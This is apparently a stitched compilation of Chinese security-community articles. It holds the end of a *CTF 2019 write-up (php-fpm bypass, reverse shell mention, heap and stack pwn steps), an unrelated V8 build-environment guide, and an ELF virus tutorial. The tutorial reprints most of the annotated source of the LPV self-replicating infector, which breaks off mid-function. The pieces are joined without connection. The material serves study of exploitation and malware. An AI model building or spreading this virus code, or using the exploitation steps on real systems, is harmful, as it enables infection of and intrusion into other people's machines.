虽然这个没有真正做出来，但指明了方向，即使用php-fpm修改php_value来执行命令，php_value中虽然无法修改disable_functions，但是可以修改sendmail_path的地址达到命令执行的效果，而虽然禁用了mail，但是php中发送邮件的函数很多，例如error_log函数。
图46
然后在发送数据包的地方输出。（服务器禁用了fsocket系列函数，所以该poc无法正常运行。）
图47
然后在服务器上再观察一次端口，将phpshell中得到的BASE64_CODE通过stream_socket_client发送给php-fpm，这样就能在服务器上运行任意命令了，此时反弹一个cmdshell回来。
图48
得到cmdshell后，执行readflag，发现输出跟之前的题目类似，则使用之前题目readflag的程序，通过eval得到flag。
图49
图50
## 四、REVERSE
### reverse1：yy
Do you love yy ?
解题
程序逻辑：
根据给定的规则解析并处理输入。
思路：
根据yyec可以得到合法字符集： _CTF{abcdefghijklmnopqrstuvwxyz0123456789 _}；
根据输入取表并更新buffer，使用round_key加密buffer(aes_cbc_encrypt)，字符_表示进行下一轮处理(重置buffer)，将得到的结果与加密串比较；
输入字符与box的对应关系；
aes_cbc_decrypt即可得到flag；
flag: _CTF{yy_funct10n_1s_h4rd_and_n0_n33d_to_r3v3rs3} 。
### reverse2：Obfuscating Macros II
You have seen something like this before,I guess.
解题
程序类似表达式计算。
程序逻辑：
根据输入的两个DWORD64进行计算，并与给定的两个DWORD64比较。
思路：
程序有固定的处理模式： if (xx) { do stuff }；
在对应的模式处下断即可得到完整的处理逻辑。
flag：*CTF{fUnfl[@tCf9](https://github.com/tCf9 "@tCf9")}。
### reverse3：Matr1x
What information is hidden in the matrix?
解题
3 _3魔方
程序逻辑:
魔方每个面上的点都有1个值，计为DWORD v[6][3][3]，根据输入旋转魔方，计算每个面上点的值。
sum(corner + center) == 给定的值1，
sum(middle + center) == 给定的值2，
计算每个面上的点与另一个数组的点乘， 得到6个DWORD作为flag输出。
思路:
3个点集合：corner(4_6)、middle(4 _6)、center(6)。
穷举可以确定每个面center、middle、center的值(每个点的具体顺序未确定)，计算flag并以_CTF{..}作为过滤条件即可得到flag。
flag: *CTF{7h1S_Cu63_is_m4g1c}。
### reverse4：fanoGo
Do you kown go & fano encode?
$ nc 34.92.37.22 10001
解题
Go程序
程序逻辑：
以字典文件corpus.txt初始化编码器；
if Fano.Decode(输入) == 给定字符串：输出flag。
思路：
程序中同时存在Fano.Encode函数，patch程序调用Fano.Encode(给定字符串)并输出。
flag：*CTF{NUY4a3E5D9186hVzejoyItr7xHBcmOpv}。
## 五、PWN
### pwn1：quicksort
I’m very quick!
$ nc 34.92.96.238 10000
解题
1.输入存在栈溢出；
图51
2.栈溢出覆盖ptr即可实现任意地址任意写；
3.修改ptr指向got表，即可泄漏libc基址；
4.修改atoi为system，输入/bin/sh;即可获得shell。
py脚本：
图52
### pwn2：girlfriend
new libc, new life.
$ nc 34.92.96.238 10001
解题
1.Double free；
图53
2.申请大于0x400的堆，然后释放，可以获得main_aren_top的地址；
3.Libc2.29在free时会检查free的地址是否已经在tcache中，要先填满tcache再触发double free；
4.fastbin attack修改free_hook指向system；
5.触发free(“/bin/sh;”)。
py脚本：
图54
图55
### pwn3：babyshell
An easy shellcode
$ nc 34.92.37.22 10002
解题
遇到0时就停止检查，在shellcode前加上push 0即可绕过检查。
py脚本：
图56
### pwn4：blindpwn
Close your eyes!
$ nc 34.92.37.22 10000
checksec：
Arch：amd64-64-little
RELRO：Partial RELRO
Stack：No canary found
NX：NX enabled
PIE：No PIE (0x400000)
file libc:
libc-2.23.so： ELF 64-bit LSB shared object,
x86-64, version 1 (GNU/Linux)，dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=b5381a457906d279073822a5ceb2
解题
本题没有提供程序，给了服务器和端口，没有aslr和栈保护。
1.链接后提示”Welcome to this blind pwn!”，输入任意内容，提示”Goodbye!”；
2.输入1个超长字符串，没有看到”Goodbye!”，说明溢出了；
3.确定返回地址的位置，修改返回地址(从0x400000开始)，直接有返回输出；
4.从输出中得到libc基址，one_gadget get shell。
### pwn5：upxofcpp
$ nc 34.92.121.149 10000
解题
1.用upx脱壳；
2.存在UAF漏洞；
3.upx加壳的堆可执行，可以在堆上构造shellcode；
4.申请一个size为6的vec_0和一个size为10的vec_1，释放vec_0后，vec_0的vtb便指向堆，然后释放vec_1，再申请一个size为6的vec_3，直接输入-1，就可以不破坏vec_0的vtb；
5.同上的方法可以使vtb+0x10也指向堆；
6.在vtb+0x10指向的地方构造shellcode；
7.调用show，触发vtb+0x10。
py脚本：
图57
官方题目地址如下，有需要的小伙伴可进行学习探讨：
<https://github.com/sixstars/starctf2019>
以上WriteUp，你get到了吗？
欢迎大家文末留言，共同交流，
也欢迎志同道合的朋友加入ISEC团队。
未来安胜将继续砥砺前行，
以专业的姿态守护网络安全！
安胜作为国内领先的网络安全类产品及服务提供商，秉承“创新为安，服务致胜”的经营理念，专注于网络安全类产品的生产与服务；以“研发+服务+销售”的经营模式，“装备+平台+服务”的产品体系，在技术研究、研发创新、产品化等方面已形成一套完整的流程化体系，为广大用户提供量体裁衣的综合解决方案！
我们拥有独立的技术及产品的预研基地—ISEC实验室，专注于网络安全前沿技术研究，提供网络安全培训、应急响应、安全检测等服务。此外，实验室打造独家资讯交流分享平台—“ISEC安全e站”，提供原创技术文章、网络安全信息资讯、实时热点独家解析等。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
最近因为某些原因开始学V8的漏洞利用，所以打算写一个系列的文章来记录一下我的学习过程。
# 概述
在开始研究V8之前肯定得有相应版本的环境，搭建v8环境的教程网上挺多的。在国内搭建环境，因为众所周知的原因，我们会遇到第一个瓶颈，网络瓶颈。不过也挺好解决的，把环境搭在vps上，网速是最快的。不过随后就会遇到第二个瓶颈，性能瓶颈，自用的vps一般性能都是1c1g左右，编译一次将近1h吧。
我是打算学V8的漏洞利用，不用的漏洞版本基本都会有区别，总不可能研究一个就花1h左右的时间在编译上吧。所以我就考虑是否有现成的docker环境，这样就不需要花时间在编译上了，不过并没有找到合适的docker，只找到一个叫docker-v8的项目，不过只有很少的几个版本，这个Dockerfile和Makefile写的也不对，只能编译最新版的，没法编译任意一个版本。所以我对这个项目进行了一些改编，打算在我的mbp上来编译，自己构建相关的docker。但是没想到i9的CPU也不太行，挺垃圾的，一热就降频，10s左右就可以煮鸡蛋了。编译一次差不多半小时吧，再加上网络因素，完整跑一趟流程也差不多1h。
随后想起前段时间给女朋友配了个`AMD
5950x`的台式机，随后又研究了一波WOL，但是发现在断电一段时间后，WOL会失效，最后使用小米智能插座，台式机设置通电自动开机，来让我远程访问。
这个台式机是买来给女朋友打游戏，所以装的是windows，也没装虚拟机。不过装了WSL，直接在WSL上编译，路由器是openwrt，让台式机走全局代理，这样又解决了网络瓶颈，最后一整套流程下了，只需要5分钟左右就能生成任意版本的v8环境。然后把d8拖到本地，就能构建好相应版本的docker了。
# 环境搭建
下面就来详细说明我在WSL编译v8环境的过程：
1. 首先装好相关依赖: `sudo apt install bison cdbs curl flex g++ git python vim pkg-config`
2. 获取depot_tools: `git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git`
3. 设置depot_tools的环境变量: `echo "export PATH=$(pwd)/depot_tools:${PATH}" >> ~/.zshrc`
4. 运行`fetch v8`， 这个命令会把v8克隆下来，v8挺大的，所以这个命令的速度视网络情况而定
5. 安装v8相关的依赖，字体依赖就算用代理也会遇到一些网络问题，但是我目前没有研究字体类的漏洞，我就没有去解决这个问题，所以直接不装字体的依赖：`./v8/build/install-build-deps.sh --no-chromeos-fonts`
以上算通用步骤，也就是不管什么版本，上面的命令执行一次就好了。
网上的环境搭建的教程里面，之后应该就是执行：
$ cd v8
$ gclient sync
$ gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64.release d8
如果编译出来的v8环境需要迁移，建议设置`v8_monolithic=true`，这样只需要迁移一个`d8`程序就好了。要不然还得迁移其他(snapshot)依赖。
上面是编译最新版环境运行的命令，不过我是需要编译任意版本的，所以我把第二阶段的内容写成了一个`build.sh`脚本：
$ cat build.sh
#!/bin/bash
VER=$1
if [ -z $2 ];then
NAME=$VER
else
NAME=$2
fi
cd v8
git reset --hard $VER
gclient sync -D
gn gen out/x64_$NAME.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_$NAME.release d8
以下是我运行一次该脚本的时间：
$ time ./build.sh "9.6.180.6"
HEAD is now at 67eacd3dce Version 9.6.180.6
Syncing projects: 100% (29/29), done.
Running hooks: 100% (27/27), done.
Done. Made 178 targets from 98 files in 244ms
ninja: Entering directory `out/x64_9.6.180.6.release'
[1839/1839] LINK ./d8
./build.sh "9.6.180.6" 4581.36s user 691.20s system 1586% cpu 5:32.41 total
然后是我修改过后的`Makefile`:
$ cat Makefile
TAG:=$(tag)
IMAGE:=hcamael/v8
default: help
help:
@echo 'V8/D8 ${TAG} Docker image build file'
@echo
@echo 'Usage:'
@echo ' make clean Delete dangling images and d8 images'
@echo ' make build Build the d8 image using local Dockerfile'
@echo ' make push Push an existing image to Docker Hub'
@echo ' make deploy Clean, build and push image to Docker Hub'
@echo ' make github Tag the project in GitHub'
@echo
build:
docker build --build-arg V8_VERSION=${TAG} -t ${IMAGE}:${TAG} .
clean:
# Remove containers with exited status:
docker rm `docker ps -a -f status=exited -q` || true
docker rmi ${IMAGE}:latest || true
docker rmi ${IMAGE}:${TAG} || true
# Delete dangling images
docker rmi `docker images -f dangling=true -q` || true
push:
docker push docker.io/${IMAGE}:${TAG}
docker tag ${IMAGE}:${TAG} docker.io/${IMAGE}:latest
docker push docker.io/${IMAGE}:latest
deploy: clean build push
github:
git push
git tag -a ${TAG} -m 'Version ${TAG}'
git push origin --tags
.PHONY: help build clean push deploy github
然后是修改过后的`Dockerfile`：
$ cat Dockerfile
FROM debian:stable-slim
RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -yqq && \
DEBIAN_FRONTEND=noninteractive apt-get install curl rlwrap vim -yqq gdb && \
apt-get clean
ARG V8_VERSION=latest
ENV V8_VERSION=$V8_VERSION
LABEL v8.version=$V8_VERSION \
maintainer="[email protected]"
WORKDIR /v8
COPY /v8_$V8_VERSION/d8 ./
COPY vimrc /root/.vimrc
COPY entrypoint.sh /
RUN chmod +x /entrypoint.sh && \
mkdir /examples && \
ln -s /v8/d8 /usr/local/bin/d8
ENTRYPOINT ["/entrypoint.sh"]
# 参考
1. <https://github.com/andreburgaud/docker-v8>
* * * | 社区文章 |
## 前言
说起病毒大家肯定都很熟悉，但大多数人想起的一定是windows平台下病毒，而对linux下的病毒熟悉的人却少之又少。
之前在学习ELF文件格式的时候了解到ELF病毒的存在，现在让我们来花点时间深入学习下ELF病毒吧:)
## 1\. ELF二进制格式
### 1.1 elf文件类型
ELF文件可以被标记为下面几种类型：
* ET_NONE：未知类型。
* ET_REL：重定位文件。类型标记为relocatable，表示这个文件被标记了一段可重定位的代码，在编译完代码后可以看到一个.o文件。
* ET_EXEC：可执行文件。类型标记为executable.
* EY_DYN：共享目标文件（共享库）。类型标记为dynamic，可动态链接的目标文件，这类共享库会在程序运行时被装载并链接到程序的进程镜像中。
* ET_CORE：核心文件。在程序崩溃时生成的文件，记录了进程的镜像信息，可以用gdb调试来找到崩溃的原因。
用`readelf -e`命令可以看到ELF头、节头、程序头、段节这些信息，接下来我们会对其进行简单地介绍。
### 1.2 ELF头
用`$ readelf -h`命令可以查看ELF文件头：
在`usr/include/elf.h`文件中可以看到对elf头结构体的定义：
我们注意到前面readelf的输出里的“Magic”的16个字节刚好是对应”Elf32_Ehdr”的e_ident这个成员。这16个字节被ELF标准规定用来标识ELF文件的平台属性，比如ELF字长（32位/64位），字节序，ELF文件版本等等。
在输出中我们还能看到类别、数据、入口点地址等等重要信息，在分析一个ELF二进制文件之前检查ELF头是很重要的。
### 1.3 节头
首先要注意的是节不是段。段是程序执行的必要组成部分，在每个段中，会有代码或数据被划分为不同的节。
而节头表是对这些节的位置和大小的描述，主要用于链接和调试。一个二进制文件中如果缺少节头并不说明节不存在，只是无法通过节头来引用节，所以，
**ELF文件一定会有节，但是不一定会有节头。**
text段的布局如下：
[.text] 程序代码
[.rodata] 只读数据
[.hash] 符号散列表
[.dynsym] 共享目标文件符号数据
[.dynstr] 共享目标文件符号名称
[.plt] 过程链接表
[.rel.got] G.O.T重定位数据
data段的布局如下：
[,data] 全局初始化变量
[.dynamic] 动态链接结构的对象
[.got.plt] 全局偏移表
[.bss] 全局未初始化变量
接下来将介绍一些比较重要的节：
* .text节
保存了程序代码数据的代码节。如果存在Phdr，那么.text节就会存在于text段中。
* .rodata节
保存了只读的数据，比如`printf ("Hello
World!\n");`这句代码就是保存在.rodata节中，并且只能在text段中找到.rodata节。
* .plt节
包含动态链接器调用从共享库导入的函数所必须的相关代码。
* .data节
.data节存在于data段中，保存了初始化的全局变量等数据。
* .bss节
保存了未进行初始化的全局数据，在data段中。
* .got.plt节
.got节保存了全局偏移表，.got和.plt节一起提供了对导入的共享库函数的访问入口，由动态链接器在运行时进行修改。
* .dynsym节
保存了从共享库导入的动态符号信息，在text段中。
* .dynstr节
保存了动态符号字符串表，存放了代表符号名称的字符串。
* .rel.*节
重定位节保存了重定位相关的信息，这些信息描述了如何在链接或者运行时对ELF目标文件的某部分或进程镜像进行补充或修改，
* .ctors、.dtors节
构造器(.ctors)和解析器(.dtors)保存了指向构造函数和析构函数的函数指针，构造函数是指在main函数执行之前执行的代码，析构函数是在main函数之后执行的代码。
### 1.4 ELF程序头
ELF程序头是对二进制文件中段的描述，而段是在内核装载是被解析，描述了磁盘上可执行文件的内存布局以及如何映射到内存中的。
* PT_LOAD
可装载段，即这类段将被装载或映射到内存中。
* PT_DYNAMIC
动态段的Phdr，动态段是动态链接可执行文件所特有的，包含了动态链接器所必须的信息。包括：
运行时需要链接的共享库列表
全局偏移表（GOT）的地址
重定位条目的相关信息
* PT_NOTE
保存了操作系统的规范信息，实际上在可执行文件运行时不需要这个段，所以这个段成了很容易感染病毒的地方。
* PT_INTERP
对程序解释器即动态链接器位置的描述，将位置和大小信息存放在以null为终止符的字符串中。
* PT_PHDR
保存了程序头表本身的位置和大小，Phdr表保存了所有Phdr对文件中段的描述信息。
用`$ readelf -l`命令可以查看文件的Phdr表：
## 2.ELF病毒技术
### 2.1 ELF病毒原理
每个可执行文件都有一个控制流，即执行路径，而elf病毒的首要目标是劫持控制流，暂时改变程序的执行路径来执行寄生代码。
寄生代码通常负责设置钩子来劫持函数，还会将自身代码复制到没有感染病毒的程序中。一旦寄生代码执行完成，就会跳到原始的入口点或正常的执行路径上，这样就使得病毒不容易被发现。
另外，一个真正的ELF病毒应该具有下面的特点：
* 能感染可执行文件
* 寄生代码必须是独立的，能够在物理上寄存与另一个程序内部，不能依赖动态链接器链接外部的库。独立于其他文件、代码库、程序等。
* 被感染的宿主文件能继续执行并传播病毒
### 2.2 设计ELF病毒的关键问题
#### 独立寄生代码
前面说过寄生代码必须是独立的。由于每次感染的地址都会变化，寄生代码每次注入二进制文件中的位置也会变化，所以寄存程序必须能够动态计算出所在的内存地址。寄生代码可以使用IP相对代码，通过函数相对指令指针的偏移量来计算出代码的地址来执行函数。
使用gcc的`-nostdlib`或`-fpic` `-pie`选项可以将其编译成位置独立的代码。
#### 字符串存储问题
在病毒代码处理字符串时，如果遇到这样的代码`const char *name =
"elfvirus";`，编译器会将字符串数据存放在.rodata节中，然后通过地址对字符串进行引用，一旦使用病毒注入到其他程序中，这个地址就会失效。所以在编写病毒代码时一般使用栈来存放字符串：
char name[] = {'e', 'l', 'f', 'v', 'i', 'r', 'u', 's', '\0'};
或者是用仍然使用传统的字符串定义方式，然后用gcc的`-N`选项，将text段和data段合并到一个单独的段中，使这个段具有可读、可写、可执行权限，这样病毒在感染时就会将这整个段注入，并包括了.rodata节的字符串数据。但是这样有时又会导致一个问题，字符串会保存在全局数据中，导致代码占用的空间增大，在一般的情况下我们是不希望病毒代码体积很大的。
#### 将执行控制流传给寄生代码
一般情况下可以通过调整ELF文件头来将入口点指向寄生代码，但是这样做很容易暴露寄生代码的位置。更谨慎的方法是找一个合适的位置插入或修改分支，通过分支来跳转到寄生代码（jmp或重写函数指针），一般可以用.ctors或.init_array节，这两个节中存放着函数指针。
## 3.ELF病毒寄生代码感染方法
### 3.1 Silvio填充感染
UNIX病毒之父Silvio发明的text段填充感染方法，利用了内存中text段和data段之间存在的一页大小的填充空间作为病毒体的存放空间。
**.text感染算法**
* 增加ELF文件头中的ehdr->e_shoff（节表偏移）的PAGE_SIZE（页长度）
* 定位text段的phdr
修改入口点`ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz`
增加phdr[TEXT].p_filesz（文件长度）的长度为寄生代码的长度
增加phdr[TEXT].p_memsz（内存长度）的长度为寄生代码的长度
* 对每个phdr（程序头），对应段若在寄生代码之后，则根据页长度增加对应的偏移
* 找到text段的最后一个shdr(节头)，把shdr[x].sh_size增加为寄生代码的长度
* 对每个位于寄生代码插入位置之后shdr，根据页长度增加对应的偏移
* 将真正的寄生代码插入到text段的file_base + phdr[TEXT].p_filesz（text段的尾部）
### 3.2 逆向text感染
在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分，我们要逆向扩展text段，将text段的虚拟地址缩减PAGE_ALIGN(parasite_size)。
在现代Linux系统中允许的最小虚拟映射地址是0x1000，也就是text的虚拟地址最多能扩展到0x1000。在64位系统上，默认的text段虚拟地址通常是0x400000，这样寄生代码可占用的空间就达到了0x3ff000字节。在32位系统上，默认的text段虚拟地址通常是0x0804800，这就有可能产生更大的病毒。
计算一个可执行文件中可插入的最大寄生代码大小公式：
max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))
感染算法：
* 将ehdr_eshoff增加为寄生代码长度
* 找到text段和phdr，保存p_vaddr（虚拟地址）的初始值
根据寄生代码长度减小p_vaddr和p_paddr（物理地址）
根据寄生代码长度增大p_filesz和p_memsz
* 遍历每个程序头的偏移，根据寄生代码的长度增加它的值；使得phdr前移，为逆向text扩展腾出空间
* 将ehdr->e_entry设置为原始text段的虚拟地址：
`orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)`
* 根据寄生代码的长度增加ehdr->e_phoff
* 创建新的二进制文件映射出所有的修改，插入真正的寄生代码覆盖旧的二进制文件。
### 3.3 data段感染
data段的数据有R+W权限，而text段来R+X权限，我们可以在未设置NX-bit的系统（32位linux系统）上，不改变data段权限并执行data段中的代码，这样对寄生代码的大小没有限制。但是要注意为.bss节预留空间，尽管.bss节不占用空间，但是它会在程序运行时给未初始化的遍历在data段末尾分配空间。
感染算法：
* 将ehdr->e_shoff增加为寄生代码的长度
* 定位data段的phdr
将ehdr->e_entry指向寄生代码的位置
`phdr->pvaddr + phdr->filesz`
将phdr->p_filesz，phdr->p_memsz增加为寄生代码的长度
* 调整.bss节头，使其偏移量和地址能反映寄生代码的尾部
* 设置data段的权限(在设置了NX-bit的系统上，未设置的系统不需要这步)
`phdr[DATA].p_flags |= PF_X;`
* 使用假名为寄生代码添加节头，防止有人执行`/usr/bin/strip <program>`将没有进行节头说明的寄生代码清除掉。
* 创建新的二进制文件映射出所有的修改，插入寄生代码覆盖旧的二进制文件。
## 4.系统调用
前面说过，我们要编译独立的寄生代码，一方面也是为了让病毒能在不同的环境下运行。那么就不能使用其他的库，而是使用系统调用来完成病毒所需要的功能。通过系统调用我们可以直接访问到内核。
下面是在x86架构下，我们自己封装的系统调用的一组接口 **syscall0~** syscall6，原本的接口可以在`unistd.h`中查看：
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
return(type)__res; \
}
#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}
#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}
#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
return(type)__res; \
}
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}
#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
"0" ((long)(arg6))); \
return(type),__res; \
}
实际上这组接口的区别只是向内核传递的参数个数不同，只有__syscall6多了栈操作。这是因为超过了五个参数就不能用寄存器来传递参数了，只能用使用栈。
病毒程序常用的系统调用如下：
__syscall0(int,fork);
__syscall1(time_t, time, time_t *, t);
__syscall1(int, close, int, fd);
__syscall1(unsigned long, brk, unsigned long, brk);
__syscall1(int, unlink, const char *, pathname);
__syscall1(void, exit, int, status);
__syscall2(int, fstat, int, fd, struct stat *, buf);
__syscall2(int, fchmod, int, filedes, mode_t, mode);
__syscall2(int,chmod,const char *,pathname,unsigned int,mode);
__syscall2(int, rename, const char *, oldpath, const char *, newpath);
__syscall3(int, fchown, int, fd, uid_t, owner, gid_t, group);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, open, const char *, file, int, flag, int, mode);
__syscall3(off_t, lseek, int, filedes, off_t, offset, int, whence);
__syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(int, execve, const char *, file, char **, argv, char **, envp);
__syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
## 5.LPV病毒分析
lpv病毒是《linux二进制分析》作者[Ryan
O'Neill](http://www.bitlackeys.org)用.text感染算法写的linux32位下的测试病毒。
> 这个病毒将自己复制到它有权写入的第一个未受感染的可执行文件（复制也是病毒最本质的行为），它一次只复制一个可执行文件。
> 病毒会在感染的每个二进制文件中写入magic作为标记，使病毒能检测到文件是否为已被感染。 目前病毒只感染当前工作目录内的文件，但可以很容易地修改。
> 此病毒在主机可执行文件的text段末尾扩展/创建PAGE大小的填充，然后将其自身复制到该位置。
> 原始入口点被修补到寄生代码的起点，该寄生代码在其执行后将控制权返回给主机。该代码与位置无关并通过系统调用宏避开libc。
关键部分我在下面的源码中加上了注释：
/*
* Linux VIRUS - 12/19/08 Ryan O'Neill
*
* -= DISCLAIMER =- * This code is purely for research purposes and so that the reader may have a deeper understanding
* of UNIX Virus infection within ELF executables.
*
* Behavior:
* The virus copies itself to the first uninfected executable that it has write permissions to,
* therefore the virus copies itself one executable at a time. The virus writes a bit of magic
* into each binary that it infects so that it knows not to re-infect it. The virus at present
* only infects files within the current working directory, but can easily be modified.
*
* This virus extends/creates a PAGE size padding at the end of the text segment within the host
* executable, and copies itself into that location. The original entry point is patched to the
* start of the parasite which returns control back to the host after its execution.
* The code is position independent and eludes libc through syscall macros.
*
* Compile:
* gcc virus.c -o virus -nostdlib
*
* elfmaster[at]zoho.com
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/fcntl.h>
#include <errno.h>
#include <elf.h>
#include <asm/unistd.h>
#include <asm/stat.h>
#define PAGE_SIZE 4096
#define BUF_SIZE 1024
#define TMP "vx.tmp"
void end_code(void);
unsigned long get_eip();
unsigned long old_e_entry;
void end_code(void);
void mirror_binary_with_parasite (unsigned int, unsigned char *, unsigned int,
struct stat, char *, unsigned long);
extern int myend;
extern int foobar;
extern int real_start;
_start()
{
__asm__(".globl real_start\n"
"real_start:\n"
"pusha\n"
"call do_main\n" //跳转到do_main()
"popa\n"
"jmp myend\n"); //跳转到病毒体结束位置
}
do_main()
{
struct linux_dirent
{
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[];
};
char *host;
char buf[BUF_SIZE];
char cwd[2];
struct linux_dirent *d;
int bpos;
int dd, nread;
unsigned char *tp;
int fd, i, c;
char text_found;
mode_t mode;
struct stat st;
unsigned long address_of_main = get_eip() - ((char *)&foobar - (char *)&real_start); //动态计算main函数地址
unsigned int parasite_size = (char *)&myend - (char *)&real_start; //病毒体尾部地址减去开始地址为寄生代码的大小
parasite_size += 7; // 7为jmp_code的大小，为了能跳转回原始入口点
unsigned long int leap_offset;
unsigned long parasite_vaddr;
unsigned int numbytes;
Elf32_Shdr *s_hdr;
Elf32_Ehdr *e_hdr;
Elf32_Phdr *p_hdr;
unsigned long text;
int nc;
int magic = 32769;
int m, md;
text_found = 0;
unsigned int after_insertion_offset;
unsigned int end_of_text;
char infected;
cwd[0] = '.';
cwd[1] = 0;
dd = open (cwd, O_RDONLY | O_DIRECTORY);
nread = getdents (dd, buf, BUF_SIZE);
/*重复读取并感染当前目录下的未被感染的可执行文件*/
for (bpos = 0; bpos < nread;) {
d = (struct linux_dirent *) (buf + bpos);
bpos += d->d_reclen;
host = d->d_name;
if (host[0] == '.')
continue;
if (host[0] == 'l')
continue;
fd = open (d->d_name, O_RDONLY);
stat(host, &st);
char mem[st.st_size];
infected = 0;
c = read (fd, mem, st.st_size);
e_hdr = (Elf32_Ehdr *) mem;
if (e_hdr->e_ident[0] != 0x7f && strcmp (&e_hdr->e_ident[1], "ELF")) //判断文件是否为一个elf可执行文件
{
close (fd);
continue;
}
else
{
p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
{
if (p_hdr->p_type == PT_LOAD)
{
if (p_hdr->p_flags == (PF_R | PF_X))
{
md = open(d->d_name, O_RDONLY);
unsigned int pt = (PAGE_SIZE - 4) - parasite_size;
lseek(md, p_hdr->p_offset + p_hdr->p_filesz + pt, SEEK_SET);
read(md, &m, sizeof(magic));
if (m == magic) //通过magic标记判断已感染的文件
infected++;
close(md);
break;
}
}
}
}
if (infected) //如果已经被感染就继续读取下一个文件
{
close(fd);
continue;
}
else
{
p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
{
/*定位text段的phdr*/
if (text_found)
{
p_hdr->p_offset += PAGE_SIZE;
continue;
}
else
if (p_hdr->p_type == PT_LOAD)
{
if (p_hdr->p_flags == (PF_R | PF_X))
{
text = p_hdr->p_vaddr;
parasite_vaddr = p_hdr->p_vaddr + p_hdr->p_filesz;
old_e_entry = e_hdr->e_entry; //覆盖旧入口点
e_hdr->e_entry = parasite_vaddr; //修改入口点为寄生代码的虚拟地址
end_of_text = p_hdr->p_offset + p_hdr->p_filesz;
p_hdr->p_filesz += parasite_size; //把文件和内存长度增加为寄生代码的长度
p_hdr->p_memsz += parasite_size;
text_found++;
}
}
}
}
s_hdr = (Elf32_Shdr *) (mem + e_hdr->e_shoff);
for (i = e_hdr->e_shnum; i-- > 0; s_hdr++) //遍历程序头
{
if (s_hdr->sh_offset >= end_of_text) //根据页长度增加位于寄生代码后的节头的偏移
s_hdr->sh_offset += PAGE_SIZE;
else
if (s_hdr->sh_size + s_hdr->sh_addr == parasite_vaddr) //把位于text段最后一个节头的大小增加为寄生代码的大小
s_hdr->sh_size += parasite_size;
}
e_hdr->e_shoff += PAGE_SIZE; //根据页长度增加段的偏移
mirror_binary_with_parasite (parasite_size, mem, end_of_text, st, host, address_of_main);
close (fd);
goto done;
}
done:
close (dd);
}
void
mirror_binary_with_parasite (unsigned int psize, unsigned char *mem,
unsigned int end_of_text, struct stat st, char *host, unsigned long address_of_main)
{
int ofd;
unsigned int c;
int i, t = 0;
int magic = 32769;
char tmp[3];
tmp[0] = '.';
tmp[1] = 'v';
tmp[2] = 0;
char jmp_code[7];
//使用jmp_code来跳转到原始入口点
jmp_code[0] = '\x68'; /* push */
jmp_code[1] = '\x00'; /* 00 */
jmp_code[2] = '\x00'; /* 00 */
jmp_code[3] = '\x00'; /* 00 */
jmp_code[4] = '\x00'; /* 00 */
